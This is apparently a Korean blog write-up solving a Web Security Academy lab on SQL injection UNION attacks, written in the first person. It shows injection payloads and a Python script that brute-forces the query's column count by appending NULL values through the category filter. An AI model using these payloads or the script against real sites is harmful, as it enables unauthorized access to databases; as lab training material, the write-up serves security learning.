우선 문제를 정리해 보자.
이 워게임에는 상품 카테고리 필터에 SQL 인젝션 취약점이 존재합니다. 쿼리 결과가 애플리케이션의 응답에 그대로 반환되므로, UNION 공격을 사용해 다른 테이블의 데이터를 조회할 수 있습니다.
이러한 공격의 첫 단계는 쿼리가 반환하는 컬럼의 개수를 파악하는 것입니다. 이후 워게임에서는 이 기법을 사용해 완전한 공격 구문을 구성하게 됩니다.
워게임을 해결하려면, NULL 값으로 구성된 추가 정보를 반환하는 SQL 인젝션 UNION 공격을 수행하여 쿼리가 반환하는 컬럼의 개수를 확인하세요.
그냥
NULL 개수를 노가다로 찾아봄 직하지만, 사이트 구조를 간단히 파악해 보자.
이름, 가격, 세부 정보를 받는 것을 볼 수 있다. 이름, 가격은 무조건 받으니 컬럼은 두 개 이상임을 알 수 있다. 그렇다면 세부 정보는 어떻게 렌더링되는지 네트워크 요청으로 확인해 보자.


세부 정보는
id를 포함한 별도 요청으로 날아가는 것을 확인할 수 있다. 그렇다면 조회 시 id, name, price 등 3개를 조회할 것으로 생각되니, 아래와 같은 쿼리를 보내 테스트를 해 보자.' UNION SELECT 'abc', 'def', 'ghi' FROM dual --

오류가 발생했다.
' UNION SELECT 'abc', 'def', 'ghi', 'def', 'ghi' FROM dual --

문제에서 의도적으로 많은 수의 컬럼을 조회하도록 구성한 것 같았다. 따라서 컬럼 개수를 자동으로 확인하는 스크립트를 작성해 보자.
import requests PHPSESSID = "<coookie>" BASE_URL = "https://<foo>.web-security-academy.net/filter" def make_sender(url, cookie): def send(payload): r = requests.get(url, cookies=cookie, params={"category":payload}) print(f"[URL] {r.url}") # print(r.text) # print(f"[STATUS] {r.status_code}") return r.text return send send = make_sender( url=BASE_URL, cookie={"PHPSESSID":PHPSESSID} ) is_true = lambda x: not ("Internal Server Error" in x) base_payload = "' UNION SELECT 'abc'" # 1개인 경우는 수동으로 확인 함 flag = 0 while(True): base_payload +=", 'abc'" res = send(base_payload + " FROM dual -- ") if(is_true(res)): print(base_payload + " FROM dual -- ") break flag += 1 if(flag == 100): print("something wrong") break
그러다 문득 이 문제에는 Oracle DB를 사용한다는 안내가 없었다는 사실이 떠올랐다. Oracle DB에서는
SELECT 문에 FROM 절이 필요하기 때문에 dual 테이블을 사용하지만, 다른 DBMS에서 FROM dual --을 사용하면 오히려 오류가 발생할 수 있다. 그래서 소스 코드를 다음과 같이 고쳤다.-- base_payload = "' UNION SELECT 'abc'" # 1개인 경우는 수동으로 확인 함 ++ base_payload = "' UNION SELECT NULL" # 1개인 경우는 수동으로 확인 함 flag = 0 while(True): -- base_payload +=", 'abc'" ++ base_payload +=", NULL" -- res = send(base_payload + " FROM dual -- ") ++ res = send(base_payload + " -- ") if(is_true(res)): -- print(base_payload + " FROM dual -- ") ++ print(base_payload + " -- ") break flag += 1 if(flag == 100): print("something wrong") break

풀렸다. 위 스크립트를 통해 SQL 인젝션에 성공했으므로 페이지를 새로고침하면, 아래와 같이 문제가 해결된 것을 확인할 수 있다.

처음 예상한 컬럼 개수는 맞았지만, DBMS의 종류를 혼동해 불필요하게 실패한 것이 다소 멋쩍은 경험이었다.

